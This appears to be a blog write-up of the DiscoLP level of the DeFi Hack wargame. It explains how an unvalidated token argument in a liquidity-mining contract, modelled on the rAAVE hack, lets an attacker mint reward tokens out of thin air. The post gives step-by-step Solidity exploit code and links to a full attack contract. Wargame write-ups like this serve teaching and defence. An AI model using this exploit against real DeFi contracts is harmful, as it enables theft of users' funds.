This is a series of write-ups on DeFi Hack, a wargame based on real-world DeFi vulnerabilities. Other posts:
DiscoLP
DiscoLP is a brand new liquidity mining protocol! You can participate by depositing some JIMBO or JAMBO tokens. All liquidity will be supplied to JIMBO-JAMBO Uniswap pair. By providing liquidity with us you will get DISCO tokens in return!
The goal of this level was to get at least 100 DISCO tokens having only 1 JIMBO and 1 JAMBO. The target contract DiscoLP had only one public function named “deposit” with an explicit statement in the comments:
// accepts only JIMBO or JAMBO tokens
Uniswap is designed in such a way that one has to deposit a pair of tokens in the same proportions, but this function allowed to stake a single token swapping half of the value for the second token. In return LP shares were awarded. This level is a replica of the rAAVE farming contract hack that happened in February, 2021. As you may guess, the depositToken
() function was not limited to JIMBO or JAMBO tokens, but actually accepted any token, there was no validation of the _token
argument. It means that literally any token could have been staked that allowed to mint DISCO out of thin air. Although the cause is simple, the attack execution requires multiple steps.
First of all, an attacker has to create an arbitrary token:
Token evil = new Token("Evil Token", "EVIL"); // Token is ERC20
After that attacker approves unlimited EVIL spending to the instance of the level and to the Uniswap router:
evil.approve(instance, 2**256 - 1);
evil.approve(_router, 2**256 - 1);
The goal of the whole attack is to get some fake LP shares after providing liquidity to the Uniswap pair with JIMBO and attacker’s EVIL token in place of JAMBO. The attacker also approves spending of JIMBO to the Uniswap router, so that the swap in the depositToken()
function succeeds:
IERC20(tokenA).approve(_router, 2**256 - 1);
After that a JIMBO-EVIL Uniswap pair is created:
address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));
After transfering a single JIMBO token that we have to the attacker contract, we add liquidity to the created pool:
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(evil),
address(tokenA),
100000000000 * 10 ** 18, // EVIL liquidity
1 * 10 ** 18, // 1 JIMBO
1, 1,
address(this), // address to send LP shares (attacker contract)
2**256 - 1);
Finally we deposit fake LP shares to DiscoLP contract:
DiscoLP(instance).depositToken(address(evil), amount, 1);
After swapping zero-value EVIL tokens, we get plenty of DiscoLP shares! You can find the full source code of the attack contract here: https://github.com/Raz0r/defihack/blob/master/contracts/attacks/DiscoLPAttack.sol
Leave a Reply